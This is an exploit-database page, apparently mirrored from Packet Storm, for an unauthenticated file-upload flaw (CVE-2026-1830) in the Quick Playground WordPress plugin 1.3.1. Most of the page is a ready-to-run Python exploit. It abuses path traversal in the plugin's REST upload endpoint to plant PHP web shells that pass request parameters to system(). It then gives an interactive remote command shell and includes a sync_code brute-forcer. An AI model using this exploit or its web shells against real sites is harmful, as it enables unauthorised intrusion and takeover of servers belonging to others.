Lucene search
K

📄 Quick Playground for WordPress 1.3.1 Shell Upload

🗓️ 09 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 5 Views

Unauthenticated file upload leads to remote code execution in WordPress Quick Playground 1.3.1 (CVE-2026-1830).

Related
Code
==================================================================================================================================
    | # Title     : Quick Playground for WordPress 1.3.1 — Unauthenticated File Upload to Remote Code Execution                      |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://downloads.wordpress.org/plugin/quick-playground.1.3.1.zip                                                |
    ==================================================================================================================================
    
    [+] Summary    : This script is a fully exploitation utility targeting an alleged unauthenticated file upload vulnerability in a WordPress plugin. 
    
    [+] POC        :  
    
    
    #!/usr/bin/env python3
    
    import requests
    import base64
    import random
    import string
    import re
    import sys
    import argparse
    import time
    
    BANNER = """
    ╔═══════════════════════════════════════════════════════════════╗
    ║  Quick Playground WP 1.3.1 - Unauthenticated RCE              ║
    ║  CVE: CVE-2026-1830                                           ║
    ║  Author: indoushka                                            ║
    ║  Type: File Upload -> Remote Code Execution                   ║
    ╚═══════════════════════════════════════════════════════════════╝
    """
    DEFAULT_TARGET = "http://localhost:8080"
    DEFAULT_SYNC_CODE = "exploit123"
    DEFAULT_PROFILE = "default"
    
    class QuickPlaygroundExploit:
        def __init__(self, target, sync_code, profile="default", verbose=False):
            self.target = target.rstrip('/')
            self.sync_code = sync_code
            self.profile = profile
            self.verbose = verbose
            self.session = requests.Session()
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Content-Type": "application/json",
                "Accept": "application/json"
            })
            self.uploaded_shell = None
            self.shell_url = None
        
        def log(self, msg, level="INFO"):
            """Print messages with appropriate formatting"""
            colors = {
                "INFO": "\033[94m[*]\033[0m",     
                "SUCCESS": "\033[92m[+]\033[0m",  
                "ERROR": "\033[91m[-]\033[0m",  
                "WARNING": "\033[93m[!]\033[0m"  
            }
            prefix = colors.get(level, "[*]")
            print(f"{prefix} {msg}")
            if self.verbose and level == "INFO":
                pass 
        
        def generate_filename(self, extension="php"):
            """Generate a random filename"""
            name = ''.join(random.choices(string.ascii_lowercase, k=8))
            return f"{name}.{extension}"
        
        def get_webshell_content(self, shell_type="simple"):
            """Creating Web Shell Content"""
            if shell_type == "simple":
                return b'''<?php
    if(isset($_REQUEST['cmd'])) {
        echo "<pre>";
        system($_REQUEST['cmd']);
        echo "</pre>";
    }
    ?>'''
            elif shell_type == "advanced":
                return b'''<?php
    $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');
    if($cmd) {
        echo "<pre>";
        system($cmd . " 2>&1");
        echo "</pre>";
    }
    if(isset($_FILES['file'])) {
        move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
        echo "Uploaded: " . $_FILES['file']['name'];
    }
    ?>'''
            elif shell_type == "minimal":
                return b'<?=system($_GET["cmd"]);?>'
            else:
                return b'<?php system($_GET["cmd"]); ?>'
        
        def upload_shell(self, filename=None, shell_type="simple"):
            """Uploading the Web Shell to the server"""
            if filename is None:
                filename = self.generate_filename()
            
            shell_content = self.get_webshell_content(shell_type)
            shell_b64 = base64.b64encode(shell_content).decode()
    
            traversal = "../../../"
            full_path = f"{traversal}{filename}"
            
            payload = {
                "sync_code": self.sync_code,
                "filename": full_path,
                "base64": shell_b64
            }
            
            url = f"{self.target}/wp-json/quickplayground/v1/upload_image/{self.profile}"
            
            self.log(f"Uploading the shell to: {full_path}")
            self.log(f"Shell type: {shell_type}")
            
            try:
                response = self.session.post(url, json=payload, timeout=15)
                
                if response.status_code == 200:
                    try:
                        data = response.json()
                        msg = data.get("message", "")
                        
                        if "saving to" in msg.lower():
                            self.log("The file was uploaded successfully!", "SUCCESS")
                            self.uploaded_shell = filename
                            self.shell_url = f"{self.target}/{filename}"
                            return True
                        else:
                            self.log(f"Lifting failed: {msg}", "ERROR")
                            return False
                    except:
                        self.log("Unexpected response from the server", "ERROR")
                        return False
                else:
                    self.log(f"Response error: {response.status_code}", "ERROR")
                    return False
                    
            except requests.exceptions.RequestException as e:
                self.log(f"Connection error: {e}", "ERROR")
                return False
        
        def execute_command(self, cmd):
            """Executing an order via Web Shell"""
            if not self.shell_url:
                self.log("Shell has not yet been lifted!", "ERROR")
                return None
            
            try:
                response = self.session.get(self.shell_url, params={"cmd": cmd}, timeout=10)
                
                if response.status_code == 200:
    
                    match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
                    if match:
                        return match.group(1).strip()
                    else:
                        return response.text.strip()
                else:
                    self.log(f"Error in executing the command: {response.status_code}", "ERROR")
                    return None
                    
            except requests.exceptions.RequestException as e:
                self.log(f"Connection error: {e}", "ERROR")
                return None
        
        def test_vulnerability(self):
            """Testing for vulnerability without uploading a file"""
            self.log("Vulnerability testing...")
    
            test_content = b"<?php echo 'test'; ?>"
            test_b64 = base64.b64encode(test_content).decode()
            
            payload = {
                "sync_code": self.sync_code,
                "filename": "../../../test_vuln.txt",
                "base64": test_b64
            }
            
            url = f"{self.target}/wp-json/quickplayground/v1/upload_image/{self.profile}"
            
            try:
                response = self.session.post(url, json=payload, timeout=15)
                if response.status_code == 200:
                    self.log("There is a loophole! (Request accepted)", "SUCCESS")
                    return True
                else:
                    self.log("The vulnerability does not exist or the sync_code is incorrect.", "ERROR")
                    return False
            except:
                self.log("Target connection failed", "ERROR")
                return False
        
        def interactive_shell(self):
            """Interactive shell mode"""
            self.log("Entering interactive mode... Type 'exit' to exit", "SUCCESS")
            print("\n" + "=" * 50)
    
            self.log("System Information:")
            uname = self.execute_command("uname -a")
            if uname:
                print(f"Operating system: {uname}")
            
            whoami = self.execute_command("whoami")
            if whoami:
                print(f"  user: {whoami}")
            
            pwd = self.execute_command("pwd")
            if pwd:
                print(f"  Current path: {pwd}")
            
            print("\n" + "=" * 50)
            print("Interactive mode is ready!\n")
            
            while True:
                try:
                    cmd = input("\033[92mShell>\033[0m ").strip()
                    
                    if cmd.lower() == "exit":
                        self.log("Session adjourned...", "WARNING")
                        break
                    
                    if not cmd:
                        continue
    
                    if cmd.lower() == "clear":
                        print("\033c", end="")
                        continue
                    
                    if cmd.lower() == "help":
                        print("""
    Available commands:
    
    help - Display this help
    clear - Clear the screen
    upload - Upload a file (will be executed later)
    exit - Exit the shell
                        """)
                        continue
                    
                    result = self.execute_command(cmd)
                    if result:
                        print(result)
                    else:
                        print("[!]No output was obtained or an error occurred.")
                        
                except KeyboardInterrupt:
                    print("\n[!] Use 'exit' to exit")
                except EOFError:
                    break
    
    def brute_sync_code(target, wordlist_path):
        """Trying to guess sync_code from a dictionary"""
        print(f"[*] Attempting to guess sync_code using: {wordlist_path}")
        
        try:
            with open(wordlist_path, 'r') as f:
                codes = [line.strip() for line in f if line.strip()]
        except:
            print("[-] The dictionary file cannot be read.")
            return None
        
        test_payload = {"sync_code": "", "filename": "test.txt", "base64": "dGVzdA=="}
        url = f"{target}/wp-json/quickplayground/v1/upload_image/default"
        
        for code in codes:
            test_payload["sync_code"] = code
            try:
                r = requests.post(url, json=test_payload, timeout=5)
                if r.status_code == 200:
                    data = r.json()
                    if "saving to" in data.get("message", "").lower():
                        print(f"[+] تم العثور على sync_code: {code}")
                        return code
            except:
                continue
            
            print(f"[-] to fail: {code}", end="\r") 
            print("\n[-]No valid sync_code was found")
    		
        return None
    
    def main():
        parser = argparse.ArgumentParser(description="Quick Playground WordPress Plugin RCE Exploit")
        parser.add_argument("-u", "--url", default=DEFAULT_TARGET, help=f"Target (default): {DEFAULT_TARGET})")
        parser.add_argument("-c", "--code", default=DEFAULT_SYNC_CODE, help=f"Sync icon sync_code (hypothetical: {DEFAULT_SYNC_CODE})")
        parser.add_argument("-p", "--profile", default=DEFAULT_PROFILE, help=f"Profile (hypothetical: {DEFAULT_PROFILE})")
        parser.add_argument("-f", "--filename", help="Shell file name (random by default)")
        parser.add_argument("-t", "--shell-type", choices=["simple", "advanced", "minimal"], default="simple", help="type Web Shell")
        parser.add_argument("--cmd", help="Execute one command and then exit")
        parser.add_argument("--interactive", action="store_true", help="Interactive shell mode")
        parser.add_argument("--test", action="store_true", help="Testing for the existence of the vulnerability only")
        parser.add_argument("--brute", help="Trying to guess sync_code (Requires a dictionary file)")
        parser.add_argument("-v", "--verbose", action="store_true", help="View additional details")
        
        args = parser.parse_args()
        
        print(BANNER)
    
        if args.brute:
            found_code = brute_sync_code(args.url, args.brute)
            if found_code:
                print(f"\n[+] use: python3 {sys.argv[0]} -u {args.url} -c {found_code}")
            return
        exploit = QuickPlaygroundExploit(args.url, args.code, args.profile, args.verbose)
    
        if args.test:
            exploit.test_vulnerability()
            return
    
        if args.cmd:
            if exploit.upload_shell(args.filename, args.shell_type):
                result = exploit.execute_command(args.cmd)
                if result:
                    print(result)
            return
    
        if args.interactive:
            if exploit.upload_shell(args.filename, args.shell_type):
                exploit.interactive_shell()
            return
    
        if exploit.upload_shell(args.filename, args.shell_type):
            print(f"\n[+] Web Shell ready: {exploit.shell_url}?cmd=command")
            print("\n[*] Experimental information:")
            id_result = exploit.execute_command("id")
            if id_result:
                print(f"  user: {id_result}")
            
            print("\n[*] To enter interactive mode, use --interactive")
            print("[*] example: python3 exploit.py -u {} -c {} --interactive".format(args.url, args.code))
    
    
    if __name__ == "__main__":
        main()
    	
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jun 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.19.8
EPSS0.01148
SSVC
5